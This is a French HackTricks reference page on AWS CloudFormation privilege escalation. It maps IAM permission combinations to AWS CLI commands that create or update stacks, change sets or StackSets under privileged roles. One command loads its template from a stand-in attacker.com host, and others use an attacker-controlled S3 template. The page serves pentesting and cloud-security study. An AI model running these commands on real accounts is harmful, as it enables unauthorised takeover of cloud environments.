AWS - Cloudformation Privesc

Soutenir HackTricks

cloudformation

Pour plus d'informations sur cloudformation, consultez :

iam:PassRole, cloudformation:CreateStack

Un attaquant avec ces permissions peut escalader les privilèges en créant une pile CloudFormation avec un modèle personnalisé, hébergé sur son serveur, pour exécuter des actions sous les permissions d'un rôle spécifié :

aws cloudformation create-stack --stack-name <stack-name> \
--template-url http://attacker.com/attackers.template \
--role-arn <arn-role>

Dans la page suivante, vous avez un exemple d'exploitation avec la permission supplémentaire cloudformation:DescribeStacks :

Impact potentiel : Privesc au rôle de service cloudformation spécifié.

iam:PassRole, (cloudformation:UpdateStack | cloudformation:SetStackPolicy)

Dans ce cas, vous pouvez abuser d'une stack cloudformation existante pour la mettre à jour et escalader les privilèges comme dans le scénario précédent :

aws cloudformation update-stack \
--stack-name privesc \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::91029364722:role/CloudFormationAdmin2 \
--capabilities CAPABILITY_IAM \
--region eu-west-1

La permission cloudformation:SetStackPolicy peut être utilisée pour vous donner la permission UpdateStack sur une pile et effectuer l'attaque.

Impact potentiel : Privesc au rôle de service cloudformation spécifié.

cloudformation:UpdateStack | cloudformation:SetStackPolicy

Si vous avez cette permission mais pas iam:PassRole, vous pouvez toujours mettre à jour les piles utilisées et abuser des rôles IAM déjà attachés. Consultez la section précédente pour un exemple d'exploitation (il suffit de ne pas indiquer de rôle dans la mise à jour).

La permission cloudformation:SetStackPolicy peut être utilisée pour vous donner la permission UpdateStack sur une pile et effectuer l'attaque.

Impact potentiel : Privesc au rôle de service cloudformation déjà attaché.

iam:PassRole,((cloudformation:CreateChangeSet, cloudformation:ExecuteChangeSet) | cloudformation:SetStackPolicy)

Un attaquant avec des permissions pour passer un rôle et créer & exécuter un ChangeSet peut créer/mettre à jour une nouvelle pile cloudformation et abuser des rôles de service cloudformation tout comme avec CreateStack ou UpdateStack.

L'exploitation suivante est une variation de la CreateStack one utilisant les permissions ChangeSet pour créer une pile.

aws cloudformation create-change-set \
--stack-name privesc \
--change-set-name privesc \
--change-set-type CREATE \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::947247140022:role/CloudFormationAdmin \
--capabilities CAPABILITY_IAM \
--region eu-west-1

echo "Waiting 2 mins to change the stack"
sleep 120

aws cloudformation execute-change-set \
--change-set-name privesc \
--stack-name privesc \
--region eu-west-1

echo "Waiting 2 mins to execute the stack"
sleep 120

aws cloudformation describe-stacks \
--stack-name privesc \
--region eu-west-1

La permission cloudformation:SetStackPolicy peut être utilisée pour vous donner des permissions ChangeSet sur une pile et effectuer l'attaque.

Impact potentiel : Privesc aux rôles de service cloudformation.

(cloudformation:CreateChangeSet, cloudformation:ExecuteChangeSet) | cloudformation:SetStackPolicy)

C'est comme la méthode précédente sans passer les rôles IAM, donc vous pouvez simplement abuser de ceux déjà attachés, il suffit de modifier le paramètre :

--change-set-type UPDATE

Impact potentiel : Privesc au rôle de service cloudformation déjà attaché.

iam:PassRole,(cloudformation:CreateStackSet | cloudformation:UpdateStackSet)

Un attaquant pourrait abuser de ces permissions pour créer/mette à jour des StackSets afin d'abuser des rôles cloudformation arbitraires.

Impact potentiel : Privesc aux rôles de service cloudformation.

cloudformation:UpdateStackSet

Un attaquant pourrait abuser de cette permission sans la permission passRole pour mettre à jour des StackSets afin d'abuser des rôles cloudformation attachés.

Impact potentiel : Privesc aux rôles cloudformation attachés.

Références

Support HackTricks

Last updated